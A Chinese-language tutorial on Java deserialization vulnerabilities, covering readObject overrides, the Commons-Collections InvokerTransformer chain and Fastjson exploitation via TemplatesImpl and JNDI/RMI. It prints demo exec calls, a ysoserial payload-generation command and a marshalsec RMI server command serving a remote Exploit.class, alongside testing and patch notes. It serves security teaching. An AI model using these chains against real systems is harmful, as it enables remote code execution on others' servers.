rmi 反序列化漏洞_IDEA动态调试(二)——反序列化漏洞(Fastjson)
一、反序列化的原理及特點
1、什么是反序列化
? 序列化就是把java類轉換成字節流,xml數據、json格式數據等;
? 反序列化就是把字節流,xml數據、json格式數據轉換回java類。
2、反序列化漏洞的成因
? 成因:在把其他格式的數據反序列化成java類的過程中,由于輸入可控,導致可以執行其他惡意命令,但追根究底是需要被反序列化的類中重寫了readObject方法,且被重寫的readObject方法/調用鏈中被插入了惡意命令。
3、理解漏洞成因
?拿java的原生反序列化方法舉例:
1)? 正常的反序列化過程
? 先序列化,將對象obj序列化,保存序列化后的字節流數據到目錄下,然后通過readobject反序列化成對象,通過打印發現反序列化后對象為Step1.deserTest2:
2)?惡意的反序列化過程
對比一下代碼,新增了對于readobject方法的重寫代碼:
private void readObject(java.io.ObjectInputStream in) throwsIOException,ClassNotFoundException{ in.defaultReadObject();//調用原始的readOject方法 Runtime.getRuntime().exec("calc.exe"); System.out.println("test"); }我們在反序列化處下一個斷點,注意看調用棧,發現在調用readobject時,不是跳轉到原生的readobject而是我們重寫的readobject方法,這也是java的一個機制,當同一個方法被重寫時會優先調用被重寫的代碼。
4、總結
??上述案例可說明白反序列的原理,但問題是一般開發不會把Runtime.getRuntime().exec這樣的惡意命令執行代碼寫在反序列化方法里,但是我們可以找一條“反射鏈”來插入執行惡意命令代碼,對于反序列化漏洞的挖掘的過程也就是結合Java的反射機制構造利用鏈,即readobject()——getRuntime().exec的過程。
二、三方件安全
1、Commons-collections
??舉例講解三方件的利用鏈挖掘過程。
1)? 首先模擬一個業務場景,對某個用戶可控的文件hello.bin進行反序列化處理,調用的是原生的readObject方法。
? 由于代碼引入了Commons-collections包,所以我們的目的就是構造出合適的hello.bin文件內容,讓其經過Commons-collections整個代碼處理后達到執行命令的效果:
2)? 創建一個重寫類,對readObject進行重寫,這里setValue是觸發點,下斷點跟進去可以了解漏洞原理:
3)? 重點在于ApacheCommons Collections中有一個特殊的接口,其中有一個實現該接口的類可以通過調用Java的反射機制來調用任意函數,叫做InvokerTransformer:
? ?transform方法利用Java的反射機制進行函數調用,傳入的參數是input是一個實例化對象,利用這個方法便可以調用任意對象的任意方法(exec)從而執行命令,所以在DeSertPoc類里新建Transformer,最后組成的核心表達式為:
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("whoami");4)? 繼續跟進, ChainedTransformer類會對每一個Transformer循環調用InvokerTransformer的transform方法進行反射,可以看到這里對我們新建的Runtime成功進行了反射:
5)? 最終被ChainedTransformer觸發成功執行命令:
2、總結
??上述DeSertPoc等代碼其實是為了分析Commons-collections反序列化的漏洞原理,實際的測試過程中,如果:
1)發現代碼中被反序列化的文件可控;
2)且代碼中引用了Commons-collections包。
? 便可以使用其作為工具進行攻擊,大多數的第三包的漏洞原理和利用辦法都是類似的。
如這里的hello.bin可以直接使用ysoserial生成payload進行攻擊,和我們自寫Poc代碼的效果是一樣的:
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 calc.exe >hello.ser三、Fastjson
1、什么是Fastjson
? ? Fastjson是阿里巴巴的開源JSON解析庫,它可以解析JSON格式的字符串,支持將JavaBean序列化為JSON字符串,也可以從JSON字符串反序列化到JavaBean。FastJson自己實現了一套反序列化的機制,并沒有使用默認的readObject(),在序列化反序列化的時候會進行一些操作,主要是setter和getter的操作,同樣結合一些類的特性造成命令執行。各版本下載地址:
https://repo1.maven.org/maven2/com/alibaba/fastjson/?
2、Fastjson的使用
??研究庫的漏洞首先要了解其用法:
1)? 序列化方法為JSON.toJSONString,功能是將java代碼的字符串轉換成json數據,注意如果使用了SerializerFeature.WriteClassName 會多出來了一個 "@type"屬性;
2)? 反序列化方法為JSON.parse和JSON.parseObject,且包含@type 屬性的會被反序列化回Person 類型的對象,沒有則會被反序列化成JSONObject 對象。由此可知 @type 是用于在解析 JSON 時指定類的。
3)? JSON.parseObject 和 JSON.parse ,最主要的區別就是前者返回的是 JSONObject 而后者返回的是實際類型的對象,當在沒有對應類的定義的情況下,通常情況下都會使用 JSON.parseObject 來獲取數據。
3、反序列化復現
?常見的Poc有兩種:TemplateImpl和JNDI方法:
1)基于TemplateImpl
基于TemplateImpl的方法可以直接執行bytecodes。模擬一個漏洞場景:進入parseObject方法的text1參數是用戶可控的,為了方便這里直接寫入:
? 則可寫一個包含惡意命令的Test.java ,將其編譯后的字節碼轉成 Base64拼接到JSON 字符串中:
? 最后則使用Poc中的 JSON.parseObject 方法將bytecodes解析成 Java 對象,從而執行命令。
2、JNDI
上面的場景很少見,開發很少用到JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)的方式來進行反序列化,更主流的方法是使用JNDI結合ldap或rmi服務進行遠程調用。JNDI即Java Namingand Directory Interface,翻譯成中文就Java命令和目錄接口,在2016年的blackhat大會上web議題重點講到,細節可查看原文學習seebug上的一篇介紹文章。
1)同上,我們使用一個模擬環境,這里payload為用戶輸入,經過JSON.parse進行反序列化處理,輸入處調用JdbcRowSetImpl這個類,并連接RMI服務器,默認端口1099:
3)? 然后使用神器marshalsec-0.0.3-SNAPSHOT-all.jar新建一個RMI服務器進行監聽:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.RMIRefServer http://127.0.0.1/#Exploit當然也可以自寫:
? 意為前端解析json成功后訪問的rmi服務器會重定向到web服務器127.0.0.1下。
4)? 最后再開啟一個HTTP服務,在根目錄放一個包含惡意命令Exploit.class文件編譯的class文件:
5)最后在執行第一步的Poc類實現json解析,JdbcRowSetImpl類里的setAutoCommit會調用this.connect(),在connect()里通過rmi服務加載遠程的方法執行:
? 具體的跟蹤鏈可以在payload輸入處下斷點跟蹤,最終調用鏈如下:test_autoTypeDeny——parseObject——exec,其他反序列化漏洞也類似如此:
exec:347, Runtime (java.lang)<init>:13, Test (com.l1nk3r.fastjson)newInstance0:-1,NativeConstructorAccessorImpl (sun.reflect)newInstance:62,NativeConstructorAccessorImpl (sun.reflect)newInstance:45,DelegatingConstructorAccessorImpl (sun.reflect)newInstance:423, Constructor(java.lang.reflect)newInstance:442, Class (java.lang)getTransletInstance:455, TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax)newTransformer:486, TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax)getOutputProperties:507, TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl(sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl(sun.reflect)invoke:498, Method (java.lang.reflect)setValue:80, FieldDeserializer(com.alibaba.fastjson.parser.deserializer)parseField:83, DefaultFieldDeserializer(com.alibaba.fastjson.parser.deserializer)parseField:722, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)deserialze:568, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)deserialze:187, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)deserialze:183, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)parseObject:368, DefaultJSONParser(com.alibaba.fastjson.parser)parse:1327, DefaultJSONParser(com.alibaba.fastjson.parser)deserialze:45, JavaObjectDeserializer(com.alibaba.fastjson.parser.deserializer)parseObject:639, DefaultJSONParser(com.alibaba.fastjson.parser)parseObject:339, JSON(com.alibaba.fastjson)parseObject:302, JSON(com.alibaba.fastjson)test_autoTypeDeny:44, Poc(com.l1nk3r.fastjson)main:50,?Poc?(com.l1nk3r.fastjson)4、總結
1)測試
?測試過程中需要關注兩點:
A、關注測試的系統代碼中。被反序列化操作的數據是否可控:
B、若可控,看系統是否使用了包含已知漏洞的第三方庫:
? 兩個因素,一個是輸入可控,一個是payload可構造,缺一不可。
就像Fastjson的官方補丁,使用的方案就是config.checkAutoType(typeName)和黑名單列表:
beanutils,commons.collections,rmi等?2)漏洞挖掘角度
?若是從事第三方件的反序列化0day挖掘工作,則需要對庫源碼進行分析,定位到反序列化方法,對其調用鏈進行分析,尋找可反射、可插入惡意代碼的gadget。
總結
以上是生活随笔為你收集整理的rmi 反序列化漏洞_IDEA动态调试(二)——反序列化漏洞(Fastjson)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: javascript技术教程蔡敏_程序员
- 下一篇: vue 实现无限轮播_用vue写一个轮播